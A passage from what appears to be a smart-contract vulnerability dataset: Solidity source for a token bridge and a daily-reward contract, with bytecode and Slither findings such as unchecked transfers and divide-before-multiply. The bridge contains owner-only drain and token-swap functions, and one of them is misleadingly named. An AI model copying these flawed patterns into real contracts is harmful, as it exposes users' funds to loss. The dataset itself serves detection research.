656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203514e5b725fe30488df4d6e1cfe1a5d6b6cd4c860ed31a568d750d07034fe7f164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,296 |
0x47dffbd9b18e2f0017341a2a20542c9f5aadc41a
|
/**
*Submitted for verification at Etherscan.io on 2022-02-15
*/
pragma solidity 0.8.11;
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract IzanagiTokenBridge is Ownable {
IERC20 public token1; // V1 token
IERC20 public token2; // V2 token
uint256 public immutable token1TotalSupply;
uint256 public immutable token2TotalSupply;
bool public isInitialized = false;
bool public finalized = false;
uint256 public bridgeTime;
uint256 public exchangeEndTime;
address public immutable liquidityWalletForV2;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
// pay close attention here and make sure all values are CORRECT
constructor() {
_status = _NOT_ENTERED;
// Token V1
token1 = IERC20(address(0xc851a9B5808c46Ee93A360F1B33F7409eeE5Df9f));
// Token V2 -- will be updated to new Contract once live
token2 = IERC20(address(0xfEB2D480019bc605a2Ce20903a90Db3f554F1E1c));
// change to token owner or liquidity holder (usually the project owner, not the developer) before launch
liquidityWalletForV2 = address(0xD97F10a396BB349e0925b3cCd62405F6A669B41E);
// set duration of bridge AFTER initialize is called
bridgeTime = 3 days;
// This just grabs total supply from each token, to ensure the ratio for the swap is correct.
token1TotalSupply = token1.totalSupply();
token2TotalSupply = token2.totalSupply();
}
receive() external payable {
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
function tradeInTokens() external nonReentrant {
uint256 tradingRatio = 0;
uint256 amountToSend;
require(isInitialized, "Trading bridge is not active");
require(!finalized, "Bridging tokens is not allowed after bridge is complete");
uint256 token1Balance = token1.balanceOf(msg.sender);
require(token1.allowance(msg.sender, address(this)) >= token1Balance, "Approval must be done before transfer");
token1.transferFrom(msg.sender, address(liquidityWalletForV2), token1Balance); // tokens are sent directly to owner wallet.
// determine the trading ratio if swapping between tokens of differing supplies. (1% = 1% as an example)
if(token2TotalSupply > token1TotalSupply){
tradingRatio = token2TotalSupply / token1TotalSupply;
amountToSend = token1Balance * tradingRatio; // multiply if V2 supply is higher than V1
} else if (token1TotalSupply > token2TotalSupply){
tradingRatio = token1TotalSupply / token2TotalSupply;
amountToSend = token1Balance / tradingRatio; // divide if V2 supply is lower than V1
} else if (token1TotalSupply == token2TotalSupply) {
amountToSend = token1Balance; // leave alone if supply is identical
}
require(token2.balanceOf(address(this)) >= amountToSend, "Not enough V2 tokens to send");
token2.transfer(msg.sender, amountToSend);
}
function initialize() external onlyOwner {
require(!isInitialized, "May not initialize contract again to prevent moving out exchangeEndTime");
isInitialized = true;
exchangeEndTime = block.timestamp + bridgeTime; // finalize can only be called after this many days
}
function finalize() external onlyOwner {
require(block.timestamp >= exchangeEndTime, "Bridge not over yet.");
if(token1.balanceOf(address(this)) > 0){
token1.transfer(address(msg.sender),token1.balanceOf(address(this)));
}
if(token2.balanceOf(address(this)) > 0){
token2.transfer(address(msg.sender),token2.balanceOf(address(this)));
}
}
// Feel free to remove the next two functions if you are positive there will be no contract issues but this does give a way to prevent tokens from getting locked forever in the event the contract itself is screwed up.
function emergencyToken2Withdraw() external onlyOwner {
token2.transfer(address(msg.sender),token2.balanceOf(address(this)));
}
// use in case the sell won't work.
function emergencyToken1Withdraw() external onlyOwner {
token1.transfer(address(msg.sender),token1.balanceOf(address(this)));
}
function emergencyUpdateToken1(address token) external onlyOwner {
token1 = IERC20(token);
}
function emergencyToken2Withdraw(address token) external onlyOwner {
token2 = IERC20(token);
}
}
|
0x6080604052600436106101185760003560e01c8063808a6028116100a0578063b3f05b9711610064578063b3f05b971461031c578063d21220a71461033d578063d58062de1461035d578063e6bf822214610372578063f2fde38b1461038757600080fd5b8063808a60281461026b5780638129fc1c146102815780638da5cb5b146102965780639a2c9330146102b4578063a5d8a6c6146102e857600080fd5b80634bb278f3116100e75780634bb278f3146101d457806363cbe0c0146101e95780636b48afb3146101fe5780636efeddba14610222578063715018a61461025657600080fd5b80630280bdbb146101245780630d972d261461014657806325be124e14610166578063392e53cd146101a357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061014461013f366004611054565b6103a7565b005b34801561015257600080fd5b50610144610161366004611054565b6103fc565b34801561017257600080fd5b50600254610186906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156101af57600080fd5b506002546101c490600160a01b900460ff1681565b604051901515815260200161019a565b3480156101e057600080fd5b50610144610448565b3480156101f557600080fd5b50610144610772565b34801561020a57600080fd5b5061021460035481565b60405190815260200161019a565b34801561022e57600080fd5b506102147f00000000000000000000000000000000000000000000d3c21bcecceda100000081565b34801561026257600080fd5b506101446107d6565b34801561027757600080fd5b5061021460045481565b34801561028d57600080fd5b5061014461084a565b3480156102a257600080fd5b506000546001600160a01b0316610186565b3480156102c057600080fd5b506102147f00000000000000000000000000000000000000000000d3c21bcecceda100000081565b3480156102f457600080fd5b506101867f000000000000000000000000d97f10a396bb349e0925b3ccd62405f6a669b41e81565b34801561032857600080fd5b506002546101c490600160a81b900460ff1681565b34801561034957600080fd5b50600154610186906001600160a01b031681565b34801561036957600080fd5b50610144610929565b34801561037e57600080fd5b5061014461098d565b34801561039357600080fd5b506101446103a2366004611054565b610f6a565b6000546001600160a01b031633146103da5760405162461bcd60e51b81526004016103d190611084565b60405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146104265760405162461bcd60e51b81526004016103d190611084565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103d190611084565b6004544210156104bb5760405162461bcd60e51b8152602060048201526014602482015273213934b233b2903737ba1037bb32b9103cb2ba1760611b60448201526064016103d1565b6001546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610504573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052891906110b9565b1115610615576001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a491906110b9565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156105ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061391906110d2565b505b6002546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa15801561065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068291906110b9565b1115610770576002546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a08231906024015b602060405180830381865afa1580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906110b9565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076e91906110d2565b505b565b6000546001600160a01b0316331461079c5760405162461bcd60e51b81526004016103d190611084565b6002546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a08231906024016106be565b6000546001600160a01b031633146108005760405162461bcd60e51b81526004016103d190611084565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108745760405162461bcd60e51b81526004016103d190611084565b600254600160a01b900460ff16156109045760405162461bcd60e51b815260206004820152604760248201527f4d6179206e6f7420696e697469616c697a6520636f6e7472616374206167616960448201527f6e20746f2070726576656e74206d6f76696e67206f75742065786368616e6765606482015266456e6454696d6560c81b608482015260a4016103d1565b6002805460ff60a01b1916600160a01b179055600354610924904261110a565b600455565b6000546001600160a01b031633146109535760405162461bcd60e51b81526004016103d190611084565b6001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a08231906024016106be565b600260055414156109e05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016103d1565b60026005819055546000908190600160a01b900460ff16610a435760405162461bcd60e51b815260206004820152601c60248201527f54726164696e6720627269646765206973206e6f74206163746976650000000060448201526064016103d1565b600254600160a81b900460ff1615610ac35760405162461bcd60e51b815260206004820152603760248201527f4272696467696e6720746f6b656e73206973206e6f7420616c6c6f776564206160448201527f667465722062726964676520697320636f6d706c65746500000000000000000060648201526084016103d1565b6001546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3091906110b9565b600154604051636eb1769f60e11b815233600482015230602482015291925082916001600160a01b039091169063dd62ed3e90604401602060405180830381865afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba791906110b9565b1015610c035760405162461bcd60e51b815260206004820152602560248201527f417070726f76616c206d75737420626520646f6e65206265666f7265207472616044820152643739b332b960d91b60648201526084016103d1565b6001546040516323b872dd60e01b81523360048201526001600160a01b037f000000000000000000000000d97f10a396bb349e0925b3ccd62405f6a669b41e8116602483015260448201849052909116906323b872dd906064016020604051808303816000875af1158015610c7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca091906110d2565b507f00000000000000000000000000000000000000000000d3c21bcecceda10000007f00000000000000000000000000000000000000000000d3c21bcecceda10000001115610d4657610d337f00000000000000000000000000000000000000000000d3c21bcecceda10000007f00000000000000000000000000000000000000000000d3c21bcecceda1000000611122565b9250610d3f8382611144565b9150610e30565b7f00000000000000000000000000000000000000000000d3c21bcecceda10000007f00000000000000000000000000000000000000000000d3c21bcecceda10000001115610de457610dd87f00000000000000000000000000000000000000000000d3c21bcecceda10000007f00000000000000000000000000000000000000000000d3c21bcecceda1000000611122565b9250610d3f8382611122565b7f00000000000000000000000000000000000000000000d3c21bcecceda10000007f00000000000000000000000000000000000000000000d3c21bcecceda10000001415610e30578091505b6002546040516370a0823160e01b815230600482015283916001600160a01b0316906370a0823190602401602060405180830381865afa158015610e78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9c91906110b9565b1015610eea5760405162461bcd60e51b815260206004820152601c60248201527f4e6f7420656e6f75676820563220746f6b656e7320746f2073656e640000000060448201526064016103d1565b60025460405163a9059cbb60e01b8152336004820152602481018490526001600160a01b039091169063a9059cbb906044016020604051808303816000875af1158015610f3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5f91906110d2565b505060016005555050565b6000546001600160a01b03163314610f945760405162461bcd60e51b81526004016103d190611084565b6001600160a01b038116610ff95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561106657600080fd5b81356001600160a01b038116811461107d57600080fd5b9392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156110cb57600080fd5b5051919050565b6000602082840312156110e457600080fd5b8151801515811461107d57600080fd5b634e487b7160e01b600052601160045260246000fd5b6000821982111561111d5761111d6110f4565b500190565b60008261113f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561115e5761115e6110f4565b50029056fea26469706673582212209344c1765bdcf6b7055e16fd472759c7985e1260dc16762ed5dd9b68bfe44f1f64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,297 |
0xEE6BD04C6164D7F0Fa1cb03277C855639D99A7F6
|
pragma solidity 0.5.2;
// File: ../mch-dailyaction/contracts/lib/github.com/OpenZeppelin/openzeppelin-solidity-2.1.1/contracts/cryptography/ECDSA.sol
/**
* @title Elliptic curve signature operations
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
* TODO Remove this library once solidity supports passing a signature to ecrecover.
* See https://github.com/ethereum/solidity/issues/864
*/
library ECDSA {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param signature bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// File: ../mch-dailyaction/contracts/lib/github.com/OpenZeppelin/openzeppelin-solidity-2.1.1/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: ../mch-dailyaction/contracts/lib/github.com/OpenZeppelin/openzeppelin-solidity-2.1.1/contracts/access/Roles.sol
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: ../mch-dailyaction/contracts/lib/github.com/OpenZeppelin/openzeppelin-solidity-2.1.1/contracts/access/roles/PauserRole.sol
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: ../mch-dailyaction/contracts/lib/github.com/OpenZeppelin/openzeppelin-solidity-2.1.1/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
// File: ../mch-dailyaction/contracts/lib/github.com/OpenZeppelin/openzeppelin-solidity-2.1.1/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: ../mch-dailyaction/contracts/DailyAction.sol
contract DailyAction is Ownable, Pausable {
using SafeMath for uint256;
uint256 public term;
address public validater;
mapping(address => mapping(address => uint256)) public counter;
mapping(address => uint256) public latestActionTime;
event Action(
address indexed user,
address indexed referrer,
uint256 at
);
constructor() public {
term = 86400 - 600;
}
function withdrawEther() external onlyOwner() {
msg.sender.transfer(address(this).balance);
}
function setValidater(address _varidater) external onlyOwner() {
validater = _varidater;
}
function updateTerm(uint256 _term) external onlyOwner() {
term = _term;
}
function requestDailyActionReward(bytes calldata _signature, address _referrer) external whenNotPaused() {
require(!isInTerm(msg.sender), "this sender got daily reward within term");
uint256 count = getCount(msg.sender);
require(validateSig(_signature, count), "invalid signature");
emit Action(
msg.sender,
_referrer,
block.timestamp
);
setCount(msg.sender, count + 1);
latestActionTime[msg.sender] = block.timestamp;
}
function isInTerm(address _sender) public view returns (bool) {
if (latestActionTime[_sender] == 0) {
return false;
} else if (block.timestamp >= latestActionTime[_sender].add(term)) {
return false;
}
return true;
}
function getCount(address _sender) public view returns (uint256) {
if (counter[validater][_sender] == 0) {
return 1;
}
return counter[validater][_sender];
}
function setCount(address _sender, uint256 _count) private {
counter[validater][_sender] = _count;
}
function validateSig(bytes memory _signature, uint256 _count) private view returns (bool) {
require(validater != address(0));
uint256 hash = uint256(msg.sender) * _count;
address signer = ECDSA.recover(ECDSA.toEthSignedMessageHash(bytes32(hash)), _signature);
return (signer == validater);
}
/* function getAddress(bytes32 hash, bytes memory signature) public pure returns (address) { */
/* return ECDSA.recover(ECDSA.toEthSignedMessageHash(hash), signature); */
/* } */
}
|
